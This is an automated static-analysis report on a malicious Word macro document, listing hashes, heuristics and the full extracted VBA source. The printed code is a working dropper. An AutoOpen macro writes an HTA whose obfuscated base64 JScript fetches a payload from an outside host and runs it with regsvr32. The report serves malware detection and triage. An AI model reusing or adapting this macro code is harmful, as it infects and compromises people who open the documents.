Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 867401a0c9711b6d…

MALICIOUS

Office (OOXML)

76.1 KB Created: 2021-03-24 04:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 33336fb81d21b0e062111746670f6668 SHA-1: ab307a30b8e6a5ee09cd20b8b30366d5ecd98a18 SHA-256: 867401a0c9711b6d6ce17bd8c4aea9deda5eaf48c21187dafddb557d10afccfb
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set convertResponse = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set convertResponse = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4865 bytes
SHA-256: e5e4d9b79aa55603faa5011660e5a6f0efd7eafa1625432239a588bb643f6f06
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{41130BB8-BCA9-4979-A083-1E2FDCFA771F}{F024D4D9-F073-4D7F-8053-0B8681BF54DB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set convertResponse = CreateObject("wscript.shell")
convertResponse.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "AExRemove"
Sub autoopen()
globalTextbox
End Sub
Sub globalTextbox()
Dim funcClearPtr As String
funcClearPtr = frm.cmdButton1.caption
collectionVariableConst funcClearPtr
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "collectionDocumentTitle"
Function documentRequest()
documentRequest = "<div id='content'>dmFyIGluZGV4Q29udmVydCA9IG5ldyBBY3RpdmVYT2JqZWN0KCJtc3htbDIueG1saHR0cCIpO2luZGV4Q29udmVydC5vcGVuKCJHRVQiLCAiaHR0cDovL2hheWRlbm1pcnJvci5jb20vZmR2ZGQvVDM0dW5rNXVZMTFNYWQ1YVV3MDEvMC9pTllJc0NobzU5b1lpRWNxRU8xZWhSSS93Q2VhMHpSNzJWSUhQdkx2NkdzRD"
End Function
Function pointerLib()
pointerLib = "VoTEZ1RWJJd0VFbVVBREhTL2o5ZUJqVjcvMzAwNzMvTmxvS1kzMUZadzNXUGtiV1YveGFyMT9xPVQ4Vm1qVDY3c0QmckE9NE9yMkdIc0NTR2pGJnJlZj0walFaWlpHSnQmaWQ9TThURU0xWEsmZ0pGTz1rTDh3S1RjYUlxJnE9ZFlWRno2SkFtUnNVVkhjIiwgZmFsc2UpO2luZGV4Q29udmVydC5zZW5kKCk7aWYoaW5kZXhDb252ZXJ0LnN0YX"
End Function
Function repoVar()
repoVar = "R1cyA9PSAyMDApe3ZhciB0cnVzdERvY3VtZW50ID0gbmV3IEFjdGl2ZVhPYmplY3QoImFkb2RiLnN0cmVhbSIpO3RydXN0RG9jdW1lbnQub3Blbjt0cnVzdERvY3VtZW50LnR5cGUgPSAxO3RydXN0RG9jdW1lbnQud3JpdGUoaW5kZXhDb252ZXJ0LnJlc3BvbnNlYm9keSk7dHJ1c3REb2N1bWVudC5zYXZldG9maWxlKCJjOlxcdXNlcnNcXH"
End Function
Function linkCopy()
linkCopy = "B1YmxpY1xcc2NyZWVuVmFyLmpwZyIsIDIpO3RydXN0RG9jdW1lbnQuY2xvc2U7fQ==|fXspYmlMbm9pdHBlY3hFc3NhbGMoaGN0YWN9OykiYXRoLm5pYW1cXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmZXRlbGVkLm5vdHR1QnBtdHt5cnQ7KSJ0Y2VqYm9tZXRzeXNlbGlmLmduaXRwaXJjcyIodGNlamJPWGV2aXRjQSB3ZW4gPSBub3R0dUJwb"
End Function
Function documentTableMain()
documentTableMain = "XQgcmF2OykiZ3BqLnJhVm5lZXJjc1xcY2lsYnVwXFxzcmVzdVxcOmMgMjNydnNnZXIiKG51ci4pImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldml0Y0Egd2Vu</div><div id='table'>0123456789+/</div><script language='javascript'>mainQueryArray = window;bufStructStruct = document;function bufRequ"
End Function
Function trustListbox()
trustListbox = "est(textDelete){return(new ActiveXObject(textDelete));}function table(){var queryTmpTable = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var storageListbox = queryTmpTable + queryTmpTable.toLowerCase() + bufStructStruct.getElementById('table').innerHTML;return(storageList"
End Function
Function requestConvert()
requestConvert = "box);}function textVarConvert(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var screenMemLocal=''; var w=String.fromCharCode; var L=s.length;var storageTitleIndex = 'charAt';for(i=0;i<64;i++){e[table()[storageTitleIndex](i)]=i;}for(x=0;x<L;x++"
End Function
Function iteratorVb()
iteratorVb = "){c=e[s[storageTitleIndex](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(screenMemLocal+=w(a));}}return(screenMemLocal);};function pasteGenericTmp(viewIteratorList){return viewIteratorList.split('').reverse().join('');}mainQueryArray"
End Function
Function swapOptionButton()
swapOptionButton = ".resizeTo(1, 1);mainQueryArray.moveTo(-100, -100);var convertTmpLink = bufStructStruct.getElementById('content').innerHTML;var convertTmpLink = convertTmpLink.split('|');var screenQuery = pasteGenericTmp(textVarConvert(convertTmpLink[0]));var screenQuery ="
End Function
Function referenceRemoveCopy()
referenceRemoveCopy = " pasteGenericTmp(screenQuery);var tmpTable = pasteGenericTmp(textVarConvert(convertTmpLink[1]));</script><script language='javascript'>function AClass(screenRequest){var procBorder = bufRequest('msscriptcontrol.scriptcontrol');procBorder.Language = 'jscrip"
End Function
Function trustConst()
trustConst = "t';procBorder.Timeout = 60000;procBorder.AddCode(screenRequest);return(null);}</script><script language='vbscript'>AClass screenQuery : AClass tmpTable : mainQueryArray.close</script>"
End Function
Function repoTemp()
repoTemp = documentRequest + pointerLib + repoVar + linkCopy + documentTableMain + trustListbox + requestConvert + iteratorVb + swapOptionButton + referenceRemoveCopy + trustConst
End Function

Attribute VB_Name = "optionPasteGlobal"
Sub collectionVariableConst(tableTrustArray As String)
Open tableTrustArray For Output As #1
Print #1, repoTemp
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: 09131bae57964d2adeb05af97889bbd4b8be4796d24febeaf1fef484f76fbf9b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).

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